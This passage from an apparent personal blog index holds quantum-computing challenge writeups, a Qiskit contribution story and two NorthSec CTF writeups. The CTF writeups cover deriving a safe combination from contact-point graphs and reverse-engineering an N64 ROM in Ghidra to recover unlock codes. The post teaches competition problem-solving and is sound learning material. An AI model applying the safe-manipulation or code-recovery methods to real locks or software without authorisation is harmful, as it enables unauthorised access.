\\rm{odd}} e^{-i \\Delta t X_iX_{i+1}} e^{-i \\Delta t Y_iY_{i+1}} \\Big) \\Big(\\prod_{i \\in \\rm{even}} e^{-i \\Delta t X_iX_{i+1}} e^{-i \\Delta t Y_iY_{i+1}} \\Big)$$ With the equivalent code. for i in range(0, num_qubits - 1): Trot_qc.append(XX, [Trot_qr[i], Trot_qr[i+1]]) Trot_qc.append(YY, [Trot_qr[i], Trot_qr[i+1]]) With this base established we need to complete the function that will build the Trotterized circuit for an arbitrary amount of steps. def U_trotterize(t_target, trotter_steps): qr = QuantumRegister(3) qc = QuantumCircuit(qr) ###EDIT CODE BELOW (Create the trotterized circuit with various number of trotter steps) for i in range(trotter_steps): qc.append(Trot_gate, qr) ###DO NOT EDIT BELOW qc = qc.bind_parameters({t: t_target/trotter_steps}) return qi.Operator(qc) t_target = 0.5 U_target = U_tb(t_target) steps=np.arange(1,101,2) ## DO NOT EDIT fidelities=[] for n in tqdm(steps): U_trotter = U_trotterize(t_target, trotter_steps=n) fidelity = qi.process_fidelity(U_trotter, target=U_target) fidelities.append(fidelity) And sure enough when we graph out the fidelities we see the expect decrease in Trotter errors as we progress through the steps. Random Walks &amp; Localization In a tight-binding system the particle propagation can be described by a continuous-time quantum random walk. A random walk is the process by which a randomly-moving particle moves away from its starting point. One of the reasons we are interested in Quantum Random Walks as opposed to the classical version is the demonstrated speed up experienced. As shown below from the notebook the speed up experienced by this approach demonstrates the same quadratic speed up Grover’s search algorithm presents compared to its classical alternative. Trotterized Replication The first step in exploring the Quantum Random Walk is to replicate our Trotterized time evolution circuit from the first notebook, this time on five qubits instead of three. You may be initially confused since the previous equation starts specifies odds and evens. There was some discussion back and forth in the Qiskit slack during the event, however I went with the assumption that the “zeroth” item started as odd, essentially flipping the verbiage. num_qubits = 5 ## DO NOT EDIT Trot_tb_qr = QuantumRegister(num_qubits) Trot_tb_qc = QuantumCircuit(Trot_tb_qr, name='Trot') ###EDIT CODE BELOW Trot_tb_qc.append(XX,[0,1]) Trot_tb_qc.append(YY,[0,1]) Trot_tb_qc.append(XX,[2,3]) Trot_tb_qc.append(YY,[2,3]) Trot_tb_qc.append(XX,[1,2]) Trot_tb_qc.append(YY,[1,2]) Trot_tb_qc.append(XX,[3,4]) Trot_tb_qc.append(YY,[3,4]) ###DO NOT EDIT BELOW Excitation Probabilities Great! Now the next step is to excite the first qubit (apply an X gate) and we will then attempt to extract the probabilities of finding the excitation on each qubit at different steps. This is where I started learning more about working with statevectors, specifically being able to pull out probabilities of individual qubits and looking specifically for either the probability of 0 or 1. The capability outputstate.probabilities([qubit])[interested_value] is something I can see myself using in the future even outside of many-body problems. probability_density=[] for circ in tqdm(circuits): transpiled_circ=transpile(circ, backend_sim, optimization_level=3) job_sim = backend_sim.run(transpiled_circ) # Grab the results from the job. result_sim = job_sim.result() outputstate = result_sim.get_statevector(transpiled_circ, decimals=5) ps=[] ###EDIT CODE BELOW (Extract the probability of finding the excitation on each qubit) for i in range(5): ps.append(outputstate.probabilities([i])[1]) ###DO NOT EDIT BELOW probability_density.append(ps) probability_density=np.array(probability_density) This makes sense if you look back at the initial portions of the notebook. The time evolution of the unitary follows a sinusoidal wave pattern. You can clearly see that pattern if you look at the graph in terms of the time evolution (i.e. flip the graph 90 degrees). Anderson Localization The last part of our second notebook will explore Anderson localizations. Lattice inhomogeneity causes scattering and leads to quantum interference that tends to inhibit particle propagation, a signature of localization. The wavefunction of a localized particle rapidly decays away from its initial position, effectively confining the particle to a small region of the lattice. Our challenge is to implement an Anderson Localization to our tight-binding Trotter step circuit. With the equation above we can deduce that we will be applying an Rz rotation with an incorporation of the time evolution. This took a bit of time to figure out how to apply, however if you go back to the first notebook there is a hint in how the original Rz application is done. We can use something similar, adapted for our 5-qubit scenario. Trot_qc_disorder.append(Trot_tb_gate,[0,1,2,3,4]) deltas=[Parameter('delta_{:d}'.format(idx)) for idx in range(num_qubits)] ###EDIT CODE BELOW (add a parametric disorder to each qubit) for i in range(num_qubits): Trot_qc_disorder.rz(deltas[i]*2*t,i) ###DO NOT EDIT BELOW With the Anderson Localization applied, we now want to extract the probabilities of finding an excited state. Based on the localization I would expect it not to be as sinusoidal as before. Let’s take a look. probability_density_localization=[] for circ in tqdm(disorder_circuits): transpiled_circ=transpile(circ, backend_sim, optimization_level=3) job_sim = backend_sim.run(transpiled_circ) # Grab the results from the job. result_sim = job_sim.result() outputstate = result_sim.get_statevector(transpiled_circ, decimals=5) ps=[] ###EDIT CODE BELOW (Extract the probability of finding the excitation on each qubit) for i in range(5): ps.append(outputstate.probabilities([i])[1]) ###DO NOT EDIT BELOW probability_density_localization.append(ps) probability_density_localization=np.array(probability_density_localization) Sure enough that seems to be the result, and our second notebook is successfully completed. Many-Body Quantum Dynamics In this exercise we examine lattice disorder and particle-particle interaction. A closed quantum many-body system initialized in a non-equilibrium will reach the equilibrium state, refered to as thermalization, under its own dynamics. This behavior is as a result of the laws of statistical mechanics, and analogous to a hot cup of coffee cooling down to the surrounding temperature if left unattended. However, the presence of lattice disorder prevents the system from evolving into an egodic thermalized state. You may be able to see where this is headed. We were able to model the disorder when we explored the Anderson Localizations. By adding multiple excited qubits to the system, we can look for the emergence of imbalance. Our challenge is to write the function that will calculate the imbalance of an arbitrary quantum state. Arguably this was the most complicated part of the entire event. There was some general confusion at the start with what is considered even/odd, and even when passing the provided test cases successfully, submissions were still not being accepted. While there were discussions from the mentor team on grader oddities (signage errors where -0.0 was not being interpreted the same as 0.0), my particular situation was a logical error. After a bit of discussion with the mentor team I started understanding what I was missing, and I’ll try and capture that in the sections below. Initial Incorrect Solution My initial approach was to take the statevector we were given, and similarly pull the probabilities as we did earlier in the challenge: def get_imbalance(state): ###EDIT CODE BELOW ### HINT: MAKE SURE TO SKIP CALCULATING IMBALANCE OF THE |00...0&gt; STATE imbalance_val=0.0 ps = [state.probabilities([i])[1] for i in range(state.num_qubits)] Ne = sum(ps[0::2]) No = sum(ps[1::2]) if Ne + No &gt; 0 : imbalance_val = (Ne - No) / (Ne + No) ###DO NOT EDIT BELOW return imbalance_val With a bit of tweaking I was testing some of the submissions by taking a look at the statevector, the intermediate values of Ne/No, and ultimately the value of the Imbalance. Despite it looking correct it was still not submitting properly. It wasn't until I started confirming two very specific test cases that it started making sense. Specifically \\(\\left|0111\\right&gt;\\) and \\(\\left|0000\\right&gt; + \\left|0111\\right&gt;\\) And if we look at the actual statevector output it becomes very clear. If you are still not following along, essentially with the current code snippet we are summing the probabilities together, however we are not weighing them accordingly. For the above examples our second statevector has a half-weight of \\(\\left|0000\\right&gt;\\) which means the imbalance should be half the imbalance value of \\(\\left|0111\\right&gt;\\) and half the imbalance value of \\(\\left|0000\\right&gt;\\) - which we can see \\(\\left|0000\\right&gt;\\) is zero. We need to repeat the summation as we had done, but we then need to also weigh it by the statevector index itself. Adjusted Solution With the understanding of what we need to target, I spent a little bit of time creating terrible code to make it work. \"Working with numbers is hard? Convert them to Strings!\". def get_imbalance(state): ###EDIT CODE BELOW ### HINT: MAKE SURE TO SKIP CALCULATING IMBALANCE OF THE |00...0&gt; STATE imbalance_val=0 for i in range(2**state.num_qubits): if state[i] != 0 and i != 0: num_bits = state.num_qubits temp = f'{i:0{num_bits}b}'[::-1] No = 0 Ne = 0 for j in range(num_bits): if (j % 2) == 0 and temp[j]==\"1\": No += 1 elif (j % 2) == 1 and temp[j]==\"1\": Ne += 1 imbalance_val += abs(state[i]**2)*((Ne - No) / (Ne + No)) ###DO NOT EDIT BELOW return float(imbalance_val) With that correction, and test case validation completed, I was able to give the submission one more shot, and thankfully was successful! Entropy &amp; Imbalance With an ability to calculate the imbalance of our system we are then presented with how to calculate the von Neumann entropy - essentially the degree of entanglement of a subsystem and the rest of the system. The output here makes sense. Given a bell state, which should be maximally entangled, we get a measurement of 0.69... or \\(ln(2)\\), which matches our definition. So far so good. Our two challenges for this section are quite clear: Extract the von Neumann entropy of qubit 0 at different evolution time steps for different disorder strengths. Extract the imbalance of the lattice at different evolution time steps for different disorder strengths. With our imbalance function and now the clarification on entropy calculation hopefully this is a matter of applying what we already solved to the overall system. from qiskit import transpile # Use Aer's statevector simulator from qiskit import Aer # Run the quantum circuit on a statevector simulator backend backend_sim = Aer.get_backend('statevector_simulator') probability_densities={} state_vector_imbalances={} vn_entropies={} for W in tqdm(Ws): probability_densities[W]=[] state_vector_imbalances[W]=[] vn_entropies[W]=[] for circ in circuits[W]: transpiled_circ=transpile(circ, backend_sim, optimization_level=3) job_sim = backend_sim.run(transpiled_circ) # Grab the results from the job. result_sim = job_sim.result() outputstate = result_sim.get_statevector(transpiled_circ, decimals=6) ps=[] for idx in range(num_qubits): ps.append(np.abs(qi.partial_trace(outputstate,[i for i in range(num_qubits) if i!=idx]))[1,1]**2) entropy=0 ### EDIT CODE BELOW (extract the density matrix of qubit 0 by tracing out all other qubits) rho = qi.partial_trace(outputstate,range(1,num_qubits)) entropy = qi.entropy(rho,base=np.exp(1)) #print(entropy) ###DO NOT EDIT BELOW imbalance=0 ### EDIT CODE BELOW imbalance = get_imbalance(outputstate) #print(imbalance) ###DO NOT EDIT BELOW vn_entropies[W].append(entropy) probability_densities[W].append(ps) state_vector_imbalances[W].append(imbalance) Giving it a few minutes to run we can then graph out the density matrix, the imbalance, and entropy of the system at various time evolution steps. And what this shows us is that by implementing the Anderson Localizations we are able to bring our system closer to the original sinusoidal wave pattern, reducing the entropy otherwise present in the system. I extended the time evolution steps to confirm the behaviour. And with that all that was left for the third notebook was to the submit the values. Summary The Qiskit event was as usual an enlightening event. Having participated in these since early 2020 I can say that these events are a great opportunity to learn hands-on. For myself, I don't have a physics or chemistry background. Much of the challenges to me during this event was trying to simply the exercises down to a simple statement of \"what are we trying to implement\". With that said, I also wanted to spend time understanding why we were doing this. While I won't say I understand all components, I definitely have a better appreciation than before starting this event. With the release of the fourth notebook shortly after the start of the event, I was able to finish that up as well and finish the Spring 2022 event as part of the first few. Here's to the next event, further developments in Qiskit, and the overall journey of knowledge. Hope to see you all along for the ride! Thanks folks, until next time!" }, { "title": "NSEC 2022 - Safe Cracking", "url": "/ctf/2022/05/28/nsec2022-safecracking/", "categories": "ctf", "tags": "safe cracking, nsec2022, ctf", "date": "2022-05-28 08:00:00 -0400", "content": "Introduction Over the last couple years I’ve started dabbling in locksport. Learning the basics of how a lock works has shown interesting parallels to the cybersecurity world. From identifying weaknesses in the locking mechanism, how people abuse these weaknesses to bypass security, security mechanisms added in to address these weaknesses, and ultimately the continuous loop of cat and mouse; of offensive and defensive security escalations. Participants at Northsec 2022 CTF this year we were presented with an interesting safe cracking challenge. Talking with the organizers after the CTF they mentioned that this was originally planned as part of the physical track of the CTF, however due to circumstances had to adjust the offering to a digital variant. While I was a bit dejected this wouldn’t be a hands-on challenge, since I had separately already started looking into practice safes to start playing with, this was a great opportunity to start learning the theory and understand how to approach this physically in the future. Challenge Description MikhailVolkov: I saw my office painting slightly crooked than usual. Since my safe is behind the painting, it immediately raised my suspicion. I found this strange piece of paper on my safe containing highly sensitive documents. I am not going to open my safe with you guys close by. Since you claim to be good at security, validate for me if someone had an access to my safe. Note: flag is in FLAG-\\d{2}-\\d{2}-\\d{2} format The challenge starts out with a missive - the Ouyaya company member believes someone could have broken into their safe and accessed sensitive documents. There was some cryptic letter left on top the safe and they provided us a copy of it. Let’s start this challenge off and take a look at the mysterious note. Before going into the challenge I had not looked worked with safe cracking. Someone with that background should be able to immediately identify what this means, however I had to start at the basics and start looking online with “where do I start?!”. Safe Cracking Theory I quickly found a video playlist that really helped clarify not only what to look for, but even went into the underlying theory, explaining how safes work mechanically, where the weaknesses are introduced, and ultimately how to extract the right numbers from an analysis. In addition to the series above there was a video review of a Sparrow Challenge vault that provided a good view at the internals of how a safe works. With a little bit more digging, I read through the the Sparrow Manual on learning how to crack their practice vault. This page specifically jumped out at me for a few reasons. It really seems like the provided file are the notes some master safe cracker left behind. We see the 0-100 starting index, the contact points, and the wheel numbers at the top. Looks to me like a lot of the hard work has been done for us already and we just need to understand and interpret the data left behind. Mapping Data Similar to how we would approach a real safe to crack let’s start with wheel number three. We can interpret the columns as the left and right contact points being mapped. To bring it into a similar format to what we viewed in the videos I graphed it out in excel. Great, that looks pretty solid. The next step is to try and see where the contact points have a convergence from the basis, towards each other. There is one specific point where that seems more clear than anywhere else. Based off of this since the contact point is 42.5 I believe the third wheel’s number is either 42 or 43. In reality we could be more granular on the safe itself and go by individual numbers instead of by 2.5, however we have to work with the data provided, so let’s hope it ends up being one of the two. Victory If we continue the approach for the second wheel, we graph out the data and check for the convergence. Excellent, so the second wheel should be 70. For the first wheel, we weren’t given any contact point data. We just see an x in the first four columns. If you think about it this makes sense, as we have the first two numbers, this should in theory be a matter of finding the final numbers by process of elimination. With that assumption - our first wheel should somewhere between 8, 9, 10. We don’t have an exact number based of this, but the permutations we need to try are reduced to a handful! Side Note on Headache In reality, I didn’t get the numbers 42.5 and 70 initially. The reason? I had forgotten to change the axis label from index to value. So while I had the same graphs, and the same correct “convergence”, I was trying to use 18 and 29 instead… I was certain I had the right numbers, and while trying the various permutations I decidedly tripped one of the monitors on the NSEC admin team. Thankfully they were understanding and since it wasn’t an automated bruteforcing left me off with a nice “hey, stop it”. Submission After way too much time, I had an “aha” moment and realized what I had done wrong with the index vs. value blunder while graphing. With that corrected, and the right numbers gathered I was at: Wheel 3 - [42,43] Wheel 2 - 70 Wheel 1 - [8,9,10] With a smaller number of permutations I hoped not to invoke the wrath of the NSEC admins and tried them out. Thankfully within a few different tries I was rewarded! Summary Considering learning Safe Cracking was something on my “to do” list, I was pleasantly surprised to see this challenge during the NSEC CTF. This offered me a good opportunity to learn the basics, understand how it works, and if nothing else has reinvigorated my interest. Looking closer at the Sparrow practice vault I would say it is quite probable that it will end up in my arsenal in the near future. This would help reinforce what I learned during the CTF, and move it from the theoretical to the practical on how to recognize the contact points. As always, I am thankful to the NSEC team for not only the event, and quality of challenges offered - that alone is a massive testament to the effort the team put into preparing and running the event, but I am also thankful for their understanding and willingness to reach out to clarify my “bruteforcing” attempts with the incorrect number. Where I initially felt defeated as I was certain it was the right number, I was able to continue, realize the mistake, and correct it successfully. Thank you (and again, sorry!) for making that a possibility. Thanks folks, until next time!" }, { "title": "NSEC 2022 - N64 - ROM Reverse Engineering", "url": "/ctf/2022/05/22/nsec2022-n64/", "categories": "ctf", "tags": "nsec2022, ctf, reverse-engineering, ghidra, n64", "date": "2022-05-22 15:00:00 -0400", "content": "Introduction Another year, another NorthSec, another game emulation challenge - and I couldn’t be happier. Even in the middle of a heated competition the moment I saw that we would be working with a Nintendo 64 game / architecture in general I put other challenges on the back-burner to jump right in. In previous years I had a chance to work with similar styled gaming challenges - more pointedly referencing my Dreamcast writeup. At the time this was a good introduction for me to game debugging and stepping through the various architectural components. Fast-forward to the 2022 edition and now I have another chance to improve my knowledge - this time with my first major childhood gaming system. I ended up solving this challenge purely with static analysis. The only interaction with the game in action was actually playing it as an end-user. Focusing on the static analysis part helped me drill down to parts of Ghidra and reverse engineering I hadn’t done before and in general build on the initial knowledge I’ve gained in previous years. After the CTF completed I discussed with a few others who had approached it from a dynamic debugging perspective and I am excited to round off the knowledge by reading their walkthroughs as well. With that said let’s jump right in! Initial Investigation Ah the NFT craze. Alright CEO Anatoli, I’m happy to go through your product demo and see what I can find. The Ouyaya company provides us with two files related to the game itself, and a “test kit”, which ended up being a version of Project64. Before going into any form of reverse engineering, let’s simply look at what we are dealing with by booting up the .n64 file in Project64. The main points I see right at the start: Looks like there are three screens only. It keeps moving between the intro and then two game screens. Persistence does not seem to happen while moving between screens. Any value left was reset when coming back around. One of the first questions that came to mind is whether this was one challenge with two components, or two separate challenges. Ultimately it wouldn’t matter since I need to solve it anyways, however on seeing the values be wiped my gut said it was two separate and distinct parts. Ghidra Ghidra by default doesn’t work well with N64 roms. A quick google search and I stumbled on to N64LoaderWV - a Ghidra plugin that takes care of fixing endian-ness, loading the appropriate ram/room/boot sections, and provides an ability to load symbols from a signature file. While I didn’t end up using the signature load of the plugin since I went about it a different way, the plugin really provided everything in a single package if one wanted to approach it that way. Blind Searching Alright with the plugin installed, let’s load the ROM and see what we are working with. So far so good, although it isn’t very clear as to what is happening. Most of the functions are FUN to deal with (been a long CTF weekend so excuse the puns). While the challenge is still doable in this state, we were provided another interesting file. So let’s take a look at that quickly before making our lives harder and trying to do it blindly. Debug Symbols Shifting focus let’s see what we are working with in the second file they provided. file legend_of_shiitakoin.out legend_of_shiitakoin.out: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped Alright call me interested. I had a hunch that this was a game dump with debug symbols so I checked if that was indeed the case. Sure enough looked good! readelf -s legend_of_shiitakoin.out | head -n 20 Symbol table '.symtab' contains 1212 entries: Num: Value Size Type Bind Vis Ndx Name 0: 00000000 0 NOTYPE LOCAL DEFAULT UND 1: 00000000 0 SECTION LOCAL DEFAULT 1 ..code 2: 00000000 0 SECTION LOCAL DEFAULT 2 ..code.bss 3: 00000000 0 SECTION LOCAL DEFAULT 3 .reginfo 4: 00000000 0 SECTION LOCAL DEFAULT 4 .debug 5: 00000000 0 SECTION LOCAL DEFAULT 5 .debug_srcinfo 6: 00000000 0 SECTION LOCAL DEFAULT 6 .debug_aranges 7: 00000000 0 SECTION LOCAL DEFAULT 7 .debug_pubnames 8: 00000000 0 SECTION LOCAL DEFAULT 8 .debug_sfnames 9: 00000000 0 SECTION LOCAL DEFAULT 9 .line 10: 00000000 0 SECTION LOCAL DEFAULT 10 .comment 11: 00000000 0 SECTION LOCAL DEFAULT 11 .mdebug 12: 00000000 0 SECTION LOCAL DEFAULT 12 .shstrtab 13: 00000000 0 SECTION LOCAL DEFAULT 13 .symtab 14: 00000000 0 SECTION LOCAL DEFAULT 14 .strtab 15: 00000000 0 FILE LOCAL DEFAULT ABS main.c 16: 80025c60 0 OBJECT LOCAL DEFAULT 1 gcc2_compiled. Here is where I diverged from the N64 plugin itself. Instead of using its symbol loading functionality I ended up going with ImportSymbolsScript.py. This required tweaking the output of readelf a bit, but after a few tweaks I ended up with a file of format: ..code 00000000 ..code.bss 00000000 .reginfo 00000000 .debug 00000000 .srcinfo_debug 00000000 .aranges_debug 00000000 .pubnames_debug 00000000 .sfnames_debug 00000000 .line 00000000 .comment 00000000 .mdebug 00000000 .shstrtab 00000000 .symtab 00000000 .strtab 00000000 .compiled_gcc2 80025c60 .compiled_gcc2 80025f40 x 800570c8 y 800570cc b 800570d0 x_triPos 800570c0 …and was ultimately successful in loading that in. That makes things MUCH easier to work with. We clearly see the functions corresponding to our game screens and other supporting functions are similarly named and clarified. Ok we should be in a position to start tackling the actual challenges now. Game1 - Trust the Decompiler After a bit of poking around I started understanding the naming. updateGame01 referred to our first combination game and updateGame02 referred to our floating mushroom NFT game. That also indicates there was an easter egg in updateGame03 with an unfinished game screen! We still have two to solve however, so let’s focus there for now. Without understanding each value directly we can pretty much figure out the flow that is happening here. DAT_800a5118 seems to refer to button presses with the value representing specific buttons. Having played the game I was able to see where the values are going up/down either in individual steps, or constant steps. Specifically, the important parts to me were: The trigger that looks at our input and displays our “INCORRECT” value The ability to move an offset from 0-3. That our input value is stored in bytes_input and looks like it represents the 4 bytes of data. Starting to have a better idea of how this works. Let’s go a step deeper now and see how the interactiveScreenShow function works. interactiveScreenShow The first thing it does seems to call an evaluateRoutine function. Before jumping straight into there let’s keep looking at this function. Once done with the eval, it checks lvar1 to see if it is 1. This is a point worth explaining as it determined how we could solve the challenge. With minor spoilers you can pretty much assume that if we were to put the right code in, evaluateRoutine would return 1. Following the code for when the return isn’t 1 we quickly see that it leads to the “INCORRECT” output. Great, we know where the logic branch is, can’t we just skip over it/patch the binary and call it a day? Here is where section numbered 2 comes into play. Even if we were to bypass the evaluation, we see that the game is taking our input, manipulating it around a bit into the auStack variable, and then ultimately displaying it on the game screen. So although we can get it to display “FLAG-xxxxxxx” it wouldn’t be the right flag as it is dependent on our input. Sure enough this was also confirmed earlier on when I did a strings run on the file. Alright no easy bypassing this time. Let’s go to the eval function and see what we can find! evaluateRoutine At first glance it might seem a bit convoluted but if you follow the nested statements it is logical. We sure enough see a single uVar1 = 1 statement if all the conditions are met. The last part we need is to understand (by hovering over in Ghidra) input_bytes and see that it had an address of 80057e0. If you combine that with the e1, e2, e3 variables as well, we can see that they are individual bytes of our input. While you could go through the logic start to end, I noticed there was a shortcut. While there are a few more complicated portions of the logic check, each input had an individual check as well. Since we were not modifying the actual input this should in theory reflect the exact value required. First value would be A3 Second would be 5E Third would be 8D. Ghidra represented it as -73, however a quick hover showed the proper value Fourth would be 3F Victory With a code believed to be correct, only thing left was to give it a try! Excellent. One down, one to go. Let’s move on to our shroom NFT. Game2 - Follow the Bouncing Bit With all the prep work done above we should be able to jump right into evaluateGame02 and start our analysis. Let’s see what we are working with. Alright similar style of controls. We can see in section 1 that pressing our buttons will manipulate the x and y between 0 and 0xFF, storing it in two separate variables. The second section then loads the values into temporary variables and calls another evaluate function, then again similar to the first game checks if the output is 1. So far it looks like a similar flow to the first game, so let’s take a poke at the proceduralOperation function. proceduralOperation Pretty much what was expected. A longer nested logic loop where there is a single branch that leads to uVar1 = 1. Since we know that tempbuf corresponds to our x input and DAT_800570fc corresponds to our y input, you can probably see what needs to happen here. But in the interest of learning let’s go a bit deeper. Opcode Deepdive I’ve had mixed results with previously trusting Ghidra’s decompile for game ROMs (cough… NSEC 2020 Dreamcast) so I took a bit of a longer, but confirming approach to solving this part. Let’s look at the machine code for the first evaluation Ok, that looks straight forward. Load word of our input into v1 “andi” it with 0x80 and store in v0 Branch (or jump) to an address if it is not equal to 0 Otherwise, set v0 to -1 and jump While I suspected andi would be a bitwise operator, with that 2020 burn in the back of my mind I went ahead and confirmed directly. Excellent, so our assumptions are correct and essentially each evaluation in the larger proceduralOperation function is looking at a single bit of our input coordinate byte. Building the code Understanding each of the 16 evaluations is looking at a specific bit of the 2 input bytes, we can then rebuild the correct code, bit-by-bit if go down the list. I was marking it one eval at a time in more english terms. And when we put it all together we get our code: x = 10100011 = A3 y = 01001110 = 4E Victory And that is left is to confirm our approach made sense and get rewarded for it! Summary Well thus comes to end yet another amazing NSEC ROM reversing challenge. I can’t thank the author, Zack Deveau, enough for providing us an opportunity to dive deeper into the gaming world and develop our RE skills further. These types of challenges tug at my heart strings, as not only do I love a good RE, but this brought back nostalgic childhood memories of playing Zelda:OOT on the N64, being amazed at such advanced 3D graphics, and having that childhood wonder of how it all worked together. A short 20+ years later I can say I understand that just a little bit better now, in no small part thanks to challenges like this. To those that have made it to the end, hopefully you enjoyed the writeup and learned something along the way. Looking forward to talking, and seeing, many of you at next year’s NSEC event! Thanks folks, until next time!" }, { "title": "Open Source Quantum Computing - First Qiskit Contribution", "url": "/quantum-computing/2022/05/08/qiskit-first-contribution/", "categories": "quantum-computing", "tags": "quantum-computing, qiskit, open source, github", "date": "2022-05-08 15:00:00 -0400", "content": "Introduction Qiskit has fascinated me for a couple years at this point. It was my first hands-on quantum computing introduction bringing to fruition my 18 year old past-self’s dreams of jumping into a quantum world. While the last few years have been mostly spent understanding how to work with Qiskit by going through the textbook &amp; tutorials, participating in the various quantum challenges, and generally working with Qiskit as an “end user”, it was only recently that I started exploring the other side of the equation - contributing to the community. “Open-Source Quantum Development” it even says it right in the title. If you look at Qiskit’s contributor team it ends up representing only a fraction of the people who contribute to the various Qiskit repositories. Not all contributions are equal, but opening the ability for the community to give back to the projects allows for more diverse opinions, approaches, another set of eyes to do quality-assurance, and even tutorials that cover newly released Qiskit components. From the first days exploring Qiskit I knew I wanted to eventually contribute back to the community. While I don’t have any formal Quantum Computing or Physics training, I do come from a Computer Science background, and I am familiar enough with the software development lifecycle process. As I found out recently, this was enough to get started down my open-source quantum contribution journey. Hopefully posts like this inspire more people to take stock of what they can bring to the table, especially those who may not otherwise think they could contribute meaningfully. The journey of a thousand miles begins with a single step Why Contribute Now? So what kicked-off my journey to contributing back to the community? There were two main triggers. The first was the announcement of the upcoming new round of 2022 Qiskit Advocate applications. In addition to participation in Qiskit events as well as articles &amp; writeups, code contributions fall across the various application tiers. The second was the result of running into an issue myself while building qiskit-aer v11.0. After reading the recent announcement I decided to build the latest release myself and start experimenting (expect another article covering that topic more directly). While going through the build process I ran into several issues, and ultimately found that I was using an outdated build document. How did I find this you may ask? There was an issue 1509 raised on the qiskit-aer repository that pointed out the discrepancy. Paying it forward and hoping to prevent having others run into the same issues I went ahead and implemented the fix. Quick Workflow Overview Issue, Commit, Pull Request, Merge? If any of these terms are confusing to you Github provides an interactive 60 minute course covering the basics of how to create, use, and contribute to code repositories in Github. For the context of my initial contributions we can use the following diagram to understand the approach. The steps can be broken down to the following steps: Fork my own copy of the Qiskit repository where I will contribute Create the feature/bugfix branch on my local copy Make the changes I want to introduce Commit the changes back to my personal repository Open a pull request to the main Qiskit project to bring in my changes Review, successful checks, and approval Contributions are merged #profit This may seem complicated, but as we go the steps you will hopefully agree that it ends up quite intuitive once you’ve seen it in action. Fork, Branch, Clone, Commit The first step is to create our local version of the repository by forking Qiskit’s repo. Once you have your own codebase, create a branch you will work with. Great, now we are all set to make the changes. I use Github Desktop in this case, however there are many ways to get a copy of the branch on your local machine. I made the changes using Visual Code Studio, then commit them back into my branch. You can even see the differences visually between the previous codebase and new changes. Pull Request 1517 At this point we have the changes we want to introduce back to the main Qiskit repository in our forked repo. So how do we get those changes over? It makes sense that people cannot just push their own code directly into Qiskit’s repo without review or approval. We need to make sure that any proposed changes are logical and don’t break any existing functionality. This is what pull requests allow anyone to do - raise a request to have their changes reviewed, approved, and ultimately merged back into the main repo. Qiskit pull requests have a format to follow when raising the PR. This help standardize the review process and adding breadcrumbs like “fixes #issuenumber” automatically references the PR on the issue you are working with. Testing &amp; Pull Request Comments Maintainer of the Qiskit repo will review the request, and depending on the specific Qiskit repository your PR will also go through a testing suite. This helps ensure that proposed changes won’t break any existing functionality. Each project had its own tests, and while the PR I’m talking through on this post is for the qiskit-aer project, let me show you another check list from the qiskit-tutorial project. These are automatically kicked off either on the PR submission (such as in the case of the qiskit-tutorial project) or started after one of the maintainers reviews the proposal (as in the case with qiskit-aer). As it turns out I had a small oversight with my proposed changes. While the default branch in qiskit-aer had changed from master to main the main qiskit project had not. Correspondingly the review and comment requested changes from my original submission. I was quickly able to correct the change, and included my own one-off validation testing in the comment to add a measure of confidence. Thankfully this was enough and the proposal was approved! Acceptance, and Merger With the testing successful, the comments addressed and approved, and the contributor license agreement signed, the only remaining part was for the project maintainers to merge in the code and close up the PR and issue. Summary And just like that one of my first code contributions back to Qiskit is complete! Arguably this wasn’t a huge deployment such as a new feature, or large bugfix, however as I mentioned earlier in the article this was a legitimate issue that impacted me directly as I was trying to build qiskit-aer v11.0 locally. Hopefully with this PR merged others will have a smoother Aer build process and will be able to focus more on implementation than just getting it up and running. That’s how I look at my small contribution and hope it positively impacts future qiskit-aer users. Time to wrap up this article. Everyone is capable of positively contributing back to the community and hopefully this helped demystify one of the ways that can be accomplished. I hope that anyone reading this now feels more comfortable taking the plunge and go on to open their own pull requests! Thanks folks, until next time!" }, { "title": "Qiskit Quantum Challenge - Fall 2021", "url": "/quantum-computing/2022/04/30/ibm-quantum-challenge-fall2021/", "categories": "quantum-computing", "tags": "qiskit, quantum-computing, quantum challenge", "date": "2022-04-30 08:01:00 -0400", "content": "Introduction The IBM Fall 2021 Quantum challenge presented us with yet another exciting opportunity to explore quantum computing in our world today. Leveraging the latest Qiskit capabilities available, this challenge stood out to me by allowing us to explore essentially real-world scenarios. Optimizing portfolio distributions, image classification processes, and optimal revenue scheduling are situations that mentally move me further away from theoretical quantum computing, and more into “solving everyday problems using quantum computing”. Just as I had a turning point when I started my journey with Qiskit back 2019, where it moved from mathematical theory to application in code, I felt with this event that I was moving away from simply applying the theory in code to practically solving real problems. With that said, let’s dive into a few of the challenges and go over how I approached solving them! Portfolio Optimization The challenge statement starts out as: The goal of this exercise is to find the efficient frontier for an inherent risk using a quantum approach. We will use Qiskit's Finance application modules to convert our portfolio optimization problem into a quadratic program so we can then use variational quantum algorithms such as VQE and QAOA to solve our optimization problem While we have covered Variational Quantum Eigensolver (VQE) and Quantum Approximate Optimization Algorithm (QAOA) and how to leverage them in previous challenges, we need to cover what an efficient frontier and understand how that ties into the overall situation. The challenge notebook goes on to explain Modern Portfolio Theory and how we apply it in our situation. What we are looking to accomplish is a maximal return based on portfolio holdings. The minimum variance frontier shows the minimum variance that can be achieved for a given level of expected return. By holding a portfolio below this point, we will always get a higher return along the positive slop of the frontier - also called the efficient frontier. So how do we get started? The function which describes the efficient frontier can be formulated into a quadratic program with linear constraints. Before even seeing the formula we can start to see where the VQE/QAOA implementation will help with the quadratic function. Where we are trying to optimize our portfolio distribution, or x, where the value (𝑥[𝑖]=1) indicates which stocks to pick and which not to pick (𝑥[𝑖]=0). Stock Background For the challenge we end up using historical stock data spanning between 1955-1985. # Set parameters for assets and risk factor num_assets = 4 # set number of assets to 4 q = 0.5 # set risk factor to 0.5 budget = 2 # set budget as defined in the problem seed = 132 #set random seed # Generate time series data stocks = [(\"STOCK%s\" % i) for i in range(num_assets)] data = RandomDataProvider(tickers=stocks, start=datetime.datetime(1955,11,5), end=datetime.datetime(1985,10,26), seed=seed) data.run() The next data point we want to gather is the historical expected return. This is simple to get based on our existing data. mu = data.get_period_return_mean_vector() print(mu) --- [1.59702144e-04 4.76518943e-04 2.39123234e-04 9.85029012e-05] The last piece of information we need to is calculate the covariance between the stocks. Essentially we are calculating the relation of the stocks with the others. If two stocks increase and decrease simultaneously then the covariance value will be positive. If one increases while the other decreases then the covariance will be negative. Modelling the Quadratic The first part to optimizing our portfolio is to take the raw stock data we’ve established above and model it. Qiskit has a 